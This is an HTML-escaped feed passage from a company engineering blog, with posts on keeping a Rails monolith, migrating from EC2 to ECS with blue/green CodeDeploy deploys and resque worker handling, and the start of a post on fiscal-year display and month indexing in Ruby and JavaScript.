&lt;p&gt;With over 15 years of web applications running on Rails, the Rails community provides an immeasurable value to our application. The community helps by providing code in the form of gems that can be used to extend Rails and by generating mountains of material to learn and grow in the ways to use Rails. &lt;a href=&quot;https://www.aha.io/engineering&quot;&gt;Blogs&lt;/a&gt;, podcasts, forums, conferences, books, and many more mediums are dedicated to Rails. This collection of material aids in our problem-solving by seeing the different ways that other engineers have solved the same problems with Rails.&lt;/p&gt;
&lt;p&gt;Our Rails monolith allows Aha! to benefit from the work of thousands of engineers as if it was a much larger organization.&lt;/p&gt;
&lt;h2&gt;Complex code over complex processes&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;/ae4fcbcee93cd6d1c35e56e1bb84c544/monolith-vs-microservices.png&quot; alt=&quot;monolith-vs-microservices&quot;&gt;&lt;/p&gt;
&lt;p&gt;The image on the left shows a monolith where all of the functional blocks exist inside one single code base. Each of the green lines represent communication between different areas of the code inside of the monolith.&lt;/p&gt;
&lt;p&gt;The boxes on the right represent individual microservices that have their own code base and data. Each of the blue dotted arrows in the diagram represents a contract between microservices.&lt;/p&gt;
&lt;p&gt;The organization must become more complex in order to handle the information handoffs between teams that are managing contracts in a microservice architecture. The contracts between services have to be discussed, documented, developed, and maintained. This is typically done by different teams that are responsible for a limited scope of the architecture. Each of these lines become separate tasks that have to be analyzed and organized by product managers, business analysts, and team leads. These tasks may appear in different sprints in different workspaces across the software development tool. While each task is now simple, the complexity has shifted to the ways in which work and process are organized and distributed across teams. This leads to conversations about process, contracts, endpoints, due dates, and dependencies. We prefer our conversations to be about users and lovable interactions.&lt;/p&gt;
&lt;p&gt;Engineers build better when they understand the reason they are building. It can be extremely frustrating to spend your time working away at a problem that does not have a clear value. Our engineering teams at Aha! are responsible for the entire life cycle of features. They gain a deeper understanding of the code they are building and why each piece is required. When features are divided among multiple teams handling multiple microservices, it is difficult for each engineer to understand the reasoning behind their requirements. Not only does this lower fulfillment from the engineers involved, but it also degrades the quality and allows for unexpected cases to arise from usage that some teams may not understand.&lt;/p&gt;
&lt;p&gt;I have met very few engineers who enjoy a heavy process to make meaningful alterations in a system. More so, I meet engineers who take pride in finding sophisticated solutions that can improve an entire system. In our own code base, Kyle d’Oliveira was able to &lt;a href=&quot;https://www.aha.io/engineering/articles//2021-06-30-90-percent-of-rails-n-plus-one-queries-solved-with-a-drop-in-fix&quot;&gt;solve 90% of our N+1 queries&lt;/a&gt; across the entire application with a single code change.&lt;/p&gt;
&lt;h2&gt;Interrupt-driven&lt;/h2&gt;
&lt;p&gt;Our engineers don’t like meetings. Most of our teams do not have daily stand-ups. We pioneered &lt;a href=&quot;https://www.aha.io/company/the-responsive-method&quot;&gt;The Responsive Method&lt;/a&gt; and part of that method is to be interrupt-driven. Our CTO Dr. Chris Waters likes to say we are “interrupt-driven, not meeting driven.” That is to say we do not schedule a meeting to tackle challenges that arise, but rather we interrupt our current work to handle the new priority immediately.&lt;/p&gt;
&lt;p&gt;In a complex organization with simple microservices, interrupts can affect two, three, or many more teams. A meeting becomes a necessity to coordinate changes and dependencies between teams. Being interrupt driven is almost impossible when the complexity of the application has been distributed across services and teams.&lt;/p&gt;
&lt;p&gt;The monolith gives our team the ability to limit interruptions to affect only a single engineer. Even large interruptions that require changes at multiple levels of the stack can typically be handled by a single engineer. And as &lt;a href=&quot;https://en.wikipedia.org/wiki/Conway%27s_law&quot;&gt;Conway’s Law&lt;/a&gt; would suggest, structuring our organization around The Responsive Method has driven our architecture to remain a monolith.&lt;/p&gt;
&lt;h2&gt;Locking it down&lt;/h2&gt;
&lt;p&gt;We handle a lot of important data for our Aha! customers. Keeping their data secure is our top priority. We maintain an ISO27001 certification to ensure we are limiting any vulnerabilities in our system and process. When we build new features, security is paramount to all other concerns. We have thorough security reviews for every new endpoint, external dependency, major data migration, or any other code changes that have potential to open security vulnerabilities.&lt;/p&gt;
&lt;p&gt;A monolith limits the scope in which we can introduce security issues. A single code base allows our security engineers to understand the potential risks in the application and to easily monitor all ingress points. If our code was distributed amongst numerous microservices with separate data concerns and endpoints, the scope and quantity of security considerations would multiply. Each new microservice would need to be analyzed and audited to verify we are not opening our customer&apos;s data up to new vulnerabilities from reparsing and reprocessing data in an inconsistent way.&lt;/p&gt;
&lt;p&gt;Our Rails monolith also benefits from being written in consistent languages — Ruby and JavaScript. Aha! security engineers don’t need to be able to diagnose vulnerabilities in Python, Go, and any other language a team decides to create a service in. Instead, our engineers can focus on the Rails code and grow a deep knowledge of how to secure the environment for our users.&lt;/p&gt;
&lt;h2&gt;Evolve to resolve&lt;/h2&gt;
&lt;p&gt;There is no silver bullet in software architecture that will work for every team and application. For our team, the Rails monolith has so far met the needs of our engineers and our products. It has been described as the “least-worst architecture,” which is often the best option in computer science.&lt;/p&gt;
&lt;p&gt;While keeping complexity in the code has many benefits we enjoy, it also comes with challenges. We encounter more of these challenges as we grow and have to evolve to resolve them.&lt;/p&gt;
&lt;p&gt;Some of those evolutions even start to look a little different than a classic monolith. We are updating our background job processing by introducing event streaming with Kafka to supplement Resque background jobs. While this code runs on completely different physical architecture, it is still written to utilize the Rails monolith in the producers and consumers so we still reap the benefits of a single repository of shared code.&lt;/p&gt;
&lt;p&gt;There is a very high level of code reuse in a monolith. While this is very beneficial in quickly building features, it actually comes as a cost to maintaining quality. It is imperative that teams using a monolith have test suites that cover their vital business functionality. Without proper test coverage, it is difficult for engineers to have confidence making changes to large monolithic systems.&lt;/p&gt;
&lt;p&gt;A larger test suite comes with its own problems. As we covered earlier, Aha! engineers like to move fast and be agile enough to handle interruptions when they occur. Interruptions must be handled quickly in order for the responsive method to thrive. Each time we push a change, we are pushing the entire application with all functionality that exists in Aha! This means that as our test suite grows, it begins to limit how quickly we can push changes to production. This is why we built our pipeline so a deployment can quickly be rolled back to a previously stable version. We also generate blue/green deployments and validate the health of servers before rolling traffic to the new code.&lt;/p&gt;
&lt;p&gt;It is also noteworthy that code complexity over organizational complexity requires an engineer to deeply understand all the impacts of a change on related functionality. Each of our engineers may be asked to handle complex tasks that cut across the application. Engineers must analyze the changes they are making to the system and have confidence that they are not causing other problems. Our code base can be difficult to manage for new engineers so we typically hire experienced engineers who are already familiar with the technology we are using.&lt;/p&gt;
&lt;h2&gt;Future of the monolith&lt;/h2&gt;
&lt;p&gt;We will continue to evolve our monolith and make alterations to the architecture to enable our needs. You can follow along here as we grow and expand our product suite and our monolith.&lt;/p&gt;
&lt;p&gt;We don’t see any future where dismantling our monolith is a priority. Some of us have been on teams that spent months and even years converting monoliths into microservices. In the end these efforts usually produce systems that are tangled in dependencies and difficult for a single engineer to make meaningful changes within. It becomes difficult to drive changes on interruption and to quickly support customers across the stack.&lt;/p&gt;
&lt;p&gt;For now, the monolith provides us with the tools to give our customers a &lt;a href=&quot;https://www.aha.io/roadmapping/guide/product-strategy/complete-product-experience&quot;&gt;complete product experience&lt;/a&gt; from lovable interactions to &lt;a href=&quot;https://www.aha.io/engineering/articles/engineers-support&quot;&gt;responsive support&lt;/a&gt;. Read along as we continue to share the journey over the next year and show ways that we are extending the life of our monolith.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;We work fast at Aha! and we use our products to build our products. Our team is happy, productive, and hiring — &lt;a href=&quot;https://www.aha.io/company/careers&quot;&gt;join us!&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Migrating from EC2 to ECS Services and Tasks]]></title><description><![CDATA[Our old system architecture here at Aha! has served us well. On top of RDS, ElastiCache, and other AWS services, we had hundreds of EC…]]></description><link>https://www.aha.io/engineering/articles/migrating-to-ecs</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/migrating-to-ecs</guid><dc:creator><![CDATA[Bill Rastello]]></dc:creator><pubDate>Fri, 11 Feb 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Our old system architecture here at Aha! has served us well. On top of &lt;a href=&quot;https://aws.amazon.com/rds/&quot;&gt;RDS&lt;/a&gt;, &lt;a href=&quot;https://aws.amazon.com/elasticache/&quot;&gt;ElastiCache&lt;/a&gt;, and other AWS services, we had hundreds of EC2 instances running Unicorn to serve web traffic. We used nginx and AWS ELBs for load balancing, Resque / resque-scheduler for workers, and a few other EC2 instances that ran miscellaneous services. These EC2 instances were all managed by &lt;a href=&quot;https://aws.amazon.com/opsworks/&quot;&gt;AWS OpsWorks&lt;/a&gt; and Chef. This worked great for us for years, but started to introduce some challenges as we grew. Patching servers was an elaborate process, autoscaling was slow, and if deploys via Capistrano went wrong, we could be left in an inconsistent state. Worse, a bad Capistrano deploy had the potential to cause an outage. After evaluating our options, we decided to migrate our applications to ECS.&lt;/p&gt;
&lt;h2&gt;Why ECS&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://aws.amazon.com/ecs/&quot;&gt;ECS&lt;/a&gt; is Amazon&apos;s container orchestration service. You can choose to run your Docker containers on your own EC2 instances, or can run them in &lt;a href=&quot;https://aws.amazon.com/fargate/&quot;&gt;AWS Fargate&lt;/a&gt;, which is a serverless option. When evaluating using Docker containers on ECS, the following really stood out to us:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Scalability. When scaling up, we used to have to wait for a large number of EC2 instances to start, be provisioned by Opsworks, and then deploy via capistrano manually. Now we can have ECS start and stop containers as needed, which takes significantly less time and uses already-built Docker images to ensure that we&apos;re deploying the code we&apos;re expecting to deploy. New EC2 instances join the cluster and automatically start hosting containers.&lt;/li&gt;
&lt;li&gt;Security. Docker is generally very secure, with strict isolation on the application and kernel level. Using ECS on top of it allows us to set up IAM roles and security group rules, which can be unique for each individual ECS task. This allows us great power in isolating our resources.&lt;/li&gt;
&lt;li&gt;Reproducible environments. When we deploy some code to staging, the Docker container is set up the exact same way that it&apos;s run in production. OS-level changes don&apos;t affect our application environments.&lt;/li&gt;
&lt;li&gt;Potential cost savings. Instead of needing to run so many EC2 instances, we can run multiple ECS tasks on an EC2 instance. We then can allow these tasks to temporarily consume more memory (see &lt;a href=&quot;https://aws.amazon.com/premiumsupport/knowledge-center/allocate-ecs-memory-tasks/&quot;&gt;memory vs. memory reservation&lt;/a&gt;) when needed. Before, we needed the EC2 instances to be sized to support the potential maximum amount of memory the application could consume.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Why not EKS / Kubernetes?&lt;/h2&gt;
&lt;p&gt;While Kubernetes and &lt;a href=&quot;https://aws.amazon.com/eks/&quot;&gt;EKS&lt;/a&gt; are great solutions for orchestrating containers, we felt that the solution we came up with didn&apos;t need the additional Kubernetes layer on top of everything else.  The big difference for us was that ECS allows for better IAM and networking integration, which allows us to set restrictive permissions and network access for each individual service. If we weren&apos;t already so heavily invested in AWS this wouldn&apos;t be as much of a benefit; but we have gotten a lot of mileage out of AWS&apos; offerings and services.&lt;/p&gt;
&lt;h2&gt;New architecture&lt;/h2&gt;
&lt;p&gt;After some work, we were able to successfully migrate our infrastructure over from EC2 to ECS. On average, we have about 100 EC2 container instances that run the ECS agent. Across these container instances, we have a handful of ECS services - one for unicorns, a few for our various resque worker types, and ones for the additional web-facing applications. These services together run well over 500 ECS tasks. We also run some tasks that are not part of any service with higher memory limits for some jobs which we know require the additional resources. We also run these ad-hoc tasks as part of a deploy (more on that later).&lt;/p&gt;
&lt;p&gt;We chose &lt;a href=&quot;https://aws.amazon.com/codedeploy/&quot;&gt;CodeDeploy&lt;/a&gt; to roll out new versions of the ECS services, using a blue/green deployment type. &lt;a href=&quot;https://docs.aws.amazon.com/AmazonECS/latest/developerguide/deployment-type-bluegreen.html&quot;&gt;Blue/green CodeDeploys&lt;/a&gt; do not move traffic to the new code unless it has been healthy for a set amount of time. This means that a problem with our code or environment that is about to be deployed never causes an outage; the health-checks protect us from sending traffic to a badly configured revision. Since deploying ECS, our uptime has been well above 5 9&apos;s.&lt;/p&gt;
&lt;p&gt;We chose &lt;a href=&quot;https://aws.amazon.com/codebuild/&quot;&gt;CodeBuild&lt;/a&gt; to build the Docker images that CodeDeploy uses to roll out new code. Our main application&apos;s Docker image is very large (over 1GB). While CodeBuild does have a variety of caching options, none of them are optimized for large images, so a lot of time is spent either retrieving the existing Docker image from a cache, or just rebuilding the entire  image from scratch. AWS is working on implementing support for Docker BuildKit&apos;s cache manifest, which will speed up CodeBuild jobs significantly since we will only pull the layers needed during build time. We are also looking into other ways to cache information, like using EFS to store compressed versions of directories that are often static.&lt;/p&gt;
&lt;p&gt;All of this is managed via Terraform. We previously were using CloudFormation to manage our ECS clusters - however, we had to implement some workarounds in order to have true blue/green CodeDeploys. CloudFormation has some built-in support for blue/green deploys of ECS when you do a stack update, however we wanted to have the deploy process totally separate from any stack updates. This is not an issue with Terraform.&lt;/p&gt;
&lt;h2&gt;Deploying&lt;/h2&gt;
&lt;p&gt;One of the biggest challenges during the migration to ECS was the deploy process. Coming from using Capistrano for deploys, we are used to seeing Rails migrations output during the deploy process. That is especially critical so we can monitor any in-flight migrations and abort them if, for some reason, they are taking longer than we anticipate. This also lets us immediately see the reasons for failed migrations.&lt;/p&gt;
&lt;p&gt;The default deploy process for ECS when using CloudFormation involves doing a CloudFormation stack update, which starts up new containers, waits for them to be healthy, then shuts the old containers down immediately. There is little in the way of monitoring of this process (you need to view the events for the specific service that&apos;s being updated), and if something goes wrong, there&apos;s no quick way to roll back to old code. While this would work for some of our smaller services that don&apos;t have any customer-facing components, we wanted something that was more robust when it comes to being able to monitor the deploy, have record of deploys, and be able to roll back code quickly and efficiently.&lt;/p&gt;
&lt;p&gt;CodeDeploy ends up doing much of what we wanted out of the box - it keeps record of every deploy, lets us monitor the stage of the deploy, and allows us to quickly roll back code or abort in-progress deploys if anything goes wrong. However, it doesn&apos;t let us monitor (or even easily see the result of) migrations. We also have other tasks we want to execute - such as uploading assets to our CDN and tagging the release in Datadog and Sentry.&lt;/p&gt;
&lt;h3&gt;The solution - a deploy script&lt;/h3&gt;
&lt;p&gt;To get the exact results we needed, we built a deploy script which does the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Runs any steps that need to be executed before migrations begin by starting ECS tasks that run these steps. The deploy script waits for these to complete before continuing.&lt;/li&gt;
&lt;li&gt;Runs migrations across all of our separate production environments. This is done by starting an ECS task that has all of our Rails code on it, but has the &lt;code&gt;CMD&lt;/code&gt; in the Dockerfile set to just &lt;code&gt;/bin/bash&lt;/code&gt;. Once started, the deploy script will SSH to the underlying EC2 instance that is running this ECS task, then run the equivalent of &lt;code&gt;docker exec -t container /bin/bash -c &apos;run_migrations.sh&apos;&lt;/code&gt;. This means that the migrations would be output to the deployer&apos;s terminal so the deploy can be monitored. A separate thread is spawned for each production environment so all migration logs are printed to the screen as they are executed (with a prefix to make it clear what environment the log is associated with). If something goes wrong and the migration exits with an exit code that is not 0, all migrations will be aborted. Additionally, if the deployer does a &lt;code&gt;ctrl+c&lt;/code&gt;, all migrations would be halted as well.
&lt;ul&gt;
&lt;li&gt;Note: the deploy script was written before &lt;a href=&quot;https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs-exec.html&quot;&gt;Amazon ECS Exec&lt;/a&gt; was introduced early in 2021. If we were writing this deploy script now, we would likely use Amazon ECS Exec to connect to the containers, as opposed to SSHing to EC2 + running &lt;code&gt;docker exec&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Starts the CodeDeploy deploys. We have a separate deploy for each production environment / Unicorns / worker types. The deploy script then monitors the status of all of these CodeDeploy deploys. If something goes wrong during any of these CodeDeploys (health check fails, new ECS tasks don&apos;t start, etc.), or the deployer does a &lt;code&gt;ctrl+c&lt;/code&gt;, the deploy script will automatically trigger a rollback for each deploy.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Once all CodeDeploy deploys have completed, the script immediately terminates the old resque workers, instead of having both the old a new run for an extended period of time. Workers are considered successfully running if they start and stay running - we implemented a very simple TCP health check service which runs in the worker&apos;s container so that CodeDeploy (and the various listeners and load balancers) know that the workers are running.&lt;/p&gt;
&lt;p&gt;At this point, the script runs anything that needs to be executed after the CodeDeploy deploys have finished (Slack notifications, etc.)&lt;/p&gt;
&lt;p&gt;We&apos;ve found this deploy system satisfies our needs well at this point, and also has helped catch bad code before it reaches production. However, we do eventually want to take things further, and use something like &lt;a href=&quot;https://aws.amazon.com/codepipeline/&quot;&gt;CodePipeline&lt;/a&gt; to handle this process. We would still need to work out how to have visibility into running migrations, but this will help simplify the deploy process, and rely less on a script that runs on the deployer&apos;s development machine.&lt;/p&gt;
&lt;h2&gt;Resque workers, long running jobs, ECS, and deploying&lt;/h2&gt;
&lt;p&gt;One of the biggest challenges we encountered was supporting long running resque jobs. When a CodeDeploy deploy finishes, the old instances are terminated after a set amount of time (or immediately, if desired). By default, when an ECS task is told to shutdown, it&apos;s sent a &lt;code&gt;SIGTERM&lt;/code&gt;, then a &lt;code&gt;SIGKILL&lt;/code&gt; after a 30 second grace period. This doesn&apos;t work well for resque jobs, since a &lt;code&gt;SIGTERM&lt;/code&gt; or a &lt;code&gt;SIGKILL&lt;/code&gt; would stop any currently-processing jobs. Changing the &lt;code&gt;SIGTERM&lt;/code&gt; to a &lt;code&gt;SIGQUIT&lt;/code&gt; instead is easy enough; our wrapper script traps the &lt;code&gt;SIGTERM&lt;/code&gt; and sends a &lt;code&gt;SIGQUIT&lt;/code&gt; instead.&lt;/p&gt;
&lt;p&gt;Handling the automatic &lt;code&gt;SIGKILL&lt;/code&gt; after a specified timeout is a bit more difficult. You can configure the timeout to be as long as you want - however, this puts the ECS task in a state where its desired state is &lt;code&gt;STOPPING&lt;/code&gt;, but it&apos;s currently in a &lt;code&gt;RUNNING&lt;/code&gt; state. At the time of this writing, anytime there is a task that&apos;s in this state, &lt;strong&gt;no additional ECS tasks can start on that container instance&lt;/strong&gt;. ECS will assign a pending task to this &apos;stuck&apos; instance, and wait until the stopping task finally does stop. We couldn&apos;t let a stopping job block a container instance like this.&lt;/p&gt;
&lt;h3&gt;The solution&lt;/h3&gt;
&lt;p&gt;After some experimenting, during a deploy we tell the old instances to terminate immediately after the new instances are up and healthy. This sends a SIGQUIT to all of the old running resque workers. We configured the SIGKILL timeout to be 3 minutes - this is a reasonable trade off, since our old unicorn containers would still be live at this point to serve as a backup.&lt;/p&gt;
&lt;p&gt;For jobs which could take longer than 3 minutes to finish, we created special resque queues. Our job wrapper middleware intercepts the enqueue action, and additionally creates a new ECS task to handle the request. These new ECS workers continue processing until their current job is finished, or until they have been alive for 5 minutes, whichever is longer. We also keep some of these workers idle to respond to requests immediately, reducing processing latency.&lt;/p&gt;
&lt;p&gt;This architecture has worked well for us, and also let us introduce additional kinds of workers, like ones that need to consume more memory than a standard job, or run cron jobs. If needed, we can also run some cluster instances with more memory than CPU power to run these &apos;jumbo&apos; jobs.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Once we figured out the solution to workers during our deploy process, we went live. The best part is, nobody noticed - to our customers and the rest of the Aha! team, everything worked exactly as before. Now that we&apos;re on ECS, we&apos;ve been able to easily scale up to handle unexpected load, quickly rollback deploys of code that didn&apos;t work as expected, and even enhance the developer experience at Aha! by introducing dynamic staging environments based on ECS.&lt;/p&gt;
&lt;p&gt;Interested in working on fun projects like this? Check out our &lt;a href=&quot;https://www.aha.io/company/careers/current-openings?category=engineering&quot;&gt;careers page&lt;/a&gt; to see our current openings in Engineering.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Fiscal years and how JavaScript is wrong about months]]></title><description><![CDATA[Developers love working with dates. One day, someone asked themselves, what if the year didn’t start in January, but could start in any…]]></description><link>https://www.aha.io/engineering/articles/fiscal-years-and-javascript-is-wrong</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/fiscal-years-and-javascript-is-wrong</guid><dc:creator><![CDATA[Michel Billard]]></dc:creator><pubDate>Tue, 08 Feb 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Developers love working with dates. One day, someone asked themselves, what if the year didn’t start in January, but could start in any month of the year. Welcome to the fascinating world of fiscality.&lt;/p&gt;
&lt;p&gt;One of the neat things about fiscal months is that you can’t know in which fiscal year a date is in until you know what the fiscal month is. A date in August 2022 can be in fiscal year 2021 if the fiscal month is September or later and in 2022 otherwise. Also very fun is the fact that some libraries expect months to be represented by the numbers from 0 to 11, while others use 1 to 12. I don’t know about you but, if I see month 3, I assume March, not April. Oh, and JavaScript and Ruby don’t agree.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# ruby&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Date&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;2022&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# =&gt; February 3rd, 2022&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// JavaScript&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Date&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;2022&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// =&gt; March 3rd, 2022&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That means you have to be very careful when passing month indexes from Ruby to JavaScript and vice versa.&lt;/p&gt;
&lt;h2&gt;Displaying fiscal years&lt;/h2&gt;
&lt;p&gt;Our customers have long been able to specify what their fiscal month was, but we recently launched a new setting to let the customers customize how to display the fiscal years and quarters in their accounts.&lt;/p&gt;
&lt;p&gt;There doesn’t seem to be any standards for displaying fiscal quarters so we provide a few options: the abbreviated fiscal year (ex: FY22) or the full fiscal year (ex: 2022 or 2021/22 when the fiscal month is anything other than January) as well as the option to put the quarter at the front or at the back.&lt;/p&gt;
&lt;p&gt;So we end up with something like this:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# The fiscal year is the year it ends so the fiscal year for October 2019&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# when the fiscal month of March (3) is the next year (2020)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# Special case for the default fiscal month of January (1) since&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# it doesn&apos;t span 2 years. The current year is always the fiscal year.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; fiscal_month &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; long_fiscal_year_format &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; year.to_s : &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;FY&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;#{year &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 100&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;before_fiscal_month &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; month &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; fiscal_month&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; before_fiscal_month&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  # Render the year the fiscal year ends (the current year)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  # ex: 2018/2019 or FY19 if we&apos;re in 2019 and the fiscal year ends in 2019&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  long_fiscal_year_format &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;#{year &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;#{year &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 100&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; : &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;FY&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;#{year &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 100&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;else&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  # Render the year the fiscal year ends (the next year)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  # ex: 2019/2020 or FY20 if we&apos;re in 2019 and the fiscal year ends in 2020&lt;/span&gt;&lt;/span&gt;
